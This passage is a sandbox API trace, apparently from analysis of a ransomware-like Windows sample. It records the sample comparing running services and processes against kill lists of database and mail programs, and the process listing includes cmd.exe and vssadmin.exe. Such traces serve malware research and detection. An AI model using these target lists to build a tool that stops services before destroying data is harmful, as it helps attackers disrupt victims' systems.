lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0209.311] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0209.311] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0209.311] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0209.311] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0209.311] lstrlenW (lpString="Themes") returned 6 [0209.311] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0209.312] lstrlenW (lpString="TrkWks") returned 6 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0209.312] lstrlenW (lpString="UxSms") returned 5 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0209.312] lstrlenW (lpString="WdiServiceHost") returned 14 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0209.312] lstrlenW (lpString="WdiSystemHost") returned 13 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0209.312] lstrlenW (lpString="WinDefend") returned 9 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0209.312] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0209.312] lstrlenW (lpString="Winmgmt") returned 7 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0209.312] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0209.312] lstrlenW (lpString="wscsvc") returned 6 [0209.312] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0209.312] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0209.312] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0209.312] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0209.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0209.313] lstrlenW (lpString="wuauserv") returned 8 [0209.313] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0209.313] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0209.313] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0209.313] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0209.313] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0209.313] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0209.314] Process32FirstW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0209.315] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0209.316] lstrlenW (lpString="System") returned 6 [0209.316] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0209.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0209.316] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0209.316] lstrlenW (lpString="smss.exe") returned 8 [0209.316] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0209.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0209.316] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.317] lstrlenW (lpString="csrss.exe") returned 9 [0209.317] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0209.318] lstrlenW (lpString="wininit.exe") returned 11 [0209.318] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0209.319] lstrlenW (lpString="csrss.exe") returned 9 [0209.319] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0209.319] lstrlenW (lpString="winlogon.exe") returned 12 [0209.319] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0209.320] lstrlenW (lpString="services.exe") returned 12 [0209.320] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0209.320] lstrlenW (lpString="lsass.exe") returned 9 [0209.320] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0209.321] lstrlenW (lpString="lsm.exe") returned 7 [0209.321] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.322] lstrlenW (lpString="svchost.exe") returned 11 [0209.322] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.323] lstrlenW (lpString="svchost.exe") returned 11 [0209.323] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.323] lstrlenW (lpString="svchost.exe") returned 11 [0209.323] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.324] lstrlenW (lpString="svchost.exe") returned 11 [0209.324] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.324] lstrlenW (lpString="svchost.exe") returned 11 [0209.324] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0209.325] lstrlenW (lpString="audiodg.exe") returned 11 [0209.325] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.326] lstrlenW (lpString="svchost.exe") returned 11 [0209.326] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.326] lstrlenW (lpString="svchost.exe") returned 11 [0209.326] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0209.327] lstrlenW (lpString="dwm.exe") returned 7 [0209.327] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x44c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0209.328] lstrlenW (lpString="explorer.exe") returned 12 [0209.328] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0209.328] lstrlenW (lpString="spoolsv.exe") returned 11 [0209.328] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0209.329] lstrlenW (lpString="taskhost.exe") returned 12 [0209.329] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.329] lstrlenW (lpString="svchost.exe") returned 11 [0209.329] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x610, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x350, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0209.330] lstrlenW (lpString="taskeng.exe") returned 11 [0209.330] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="innovative sapphire.exe")) returned 1 [0209.331] lstrlenW (lpString="innovative sapphire.exe") returned 23 [0209.331] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="nova.exe")) returned 1 [0209.331] lstrlenW (lpString="nova.exe") returned 8 [0209.331] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="attitude discussions wives.exe")) returned 1 [0209.332] lstrlenW (lpString="attitude discussions wives.exe") returned 30 [0209.332] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrate term dressing.exe")) returned 1 [0209.332] lstrlenW (lpString="demonstrate term dressing.exe") returned 29 [0209.332] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="picks blair.exe")) returned 1 [0209.333] lstrlenW (lpString="picks blair.exe") returned 15 [0209.333] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="posted_boating_anthony.exe")) returned 1 [0209.333] lstrlenW (lpString="posted_boating_anthony.exe") returned 26 [0209.334] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="principal.exe")) returned 1 [0209.334] lstrlenW (lpString="principal.exe") returned 13 [0209.334] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation.exe")) returned 1 [0209.335] lstrlenW (lpString="transportation.exe") returned 18 [0209.335] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bind-representation-scared.exe")) returned 1 [0209.335] lstrlenW (lpString="bind-representation-scared.exe") returned 30 [0209.335] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="supplements-reynolds.exe")) returned 1 [0209.336] lstrlenW (lpString="supplements-reynolds.exe") returned 24 [0209.336] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="planned.exe")) returned 1 [0209.337] lstrlenW (lpString="planned.exe") returned 11 [0209.337] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="springer andrew.exe")) returned 1 [0209.337] lstrlenW (lpString="springer andrew.exe") returned 19 [0209.337] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cakes import.exe")) returned 1 [0209.338] lstrlenW (lpString="cakes import.exe") returned 16 [0209.338] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="theory.exe")) returned 1 [0209.338] lstrlenW (lpString="theory.exe") returned 10 [0209.338] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="linuxsouthantiques.exe")) returned 1 [0209.339] lstrlenW (lpString="linuxsouthantiques.exe") returned 22 [0209.339] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="saturn acknowledge rover.exe")) returned 1 [0209.339] lstrlenW (lpString="saturn acknowledge rover.exe") returned 28 [0209.340] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="tuition-flour-challenges.exe")) returned 1 [0209.340] lstrlenW (lpString="tuition-flour-challenges.exe") returned 28 [0209.340] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="raises_softball_tramadol.exe")) returned 1 [0209.341] lstrlenW (lpString="raises_softball_tramadol.exe") returned 28 [0209.341] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="indicescancellation.exe")) returned 1 [0209.341] lstrlenW (lpString="indicescancellation.exe") returned 23 [0209.341] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="keeping-guys-essence.exe")) returned 1 [0209.342] lstrlenW (lpString="keeping-guys-essence.exe") returned 24 [0209.342] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="desk.exe")) returned 1 [0209.342] lstrlenW (lpString="desk.exe") returned 8 [0209.342] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.343] lstrlenW (lpString="svchost.exe") returned 11 [0209.343] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0209.344] lstrlenW (lpString="sppsvc.exe") returned 10 [0209.344] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0209.344] lstrlenW (lpString="svchost.exe") returned 11 [0209.344] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.345] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.345] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0209.345] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0209.345] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x960, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0209.346] lstrlenW (lpString="winhost.exe") returned 11 [0209.346] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x67c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0209.347] lstrlenW (lpString="cmd.exe") returned 7 [0209.347] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0209.347] lstrlenW (lpString="conhost.exe") returned 11 [0209.347] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0209.348] lstrlenW (lpString="vssadmin.exe") returned 12 [0209.348] Process32NextW (in: hSnapshot=0x19c, lppe=0x1edfd34 | 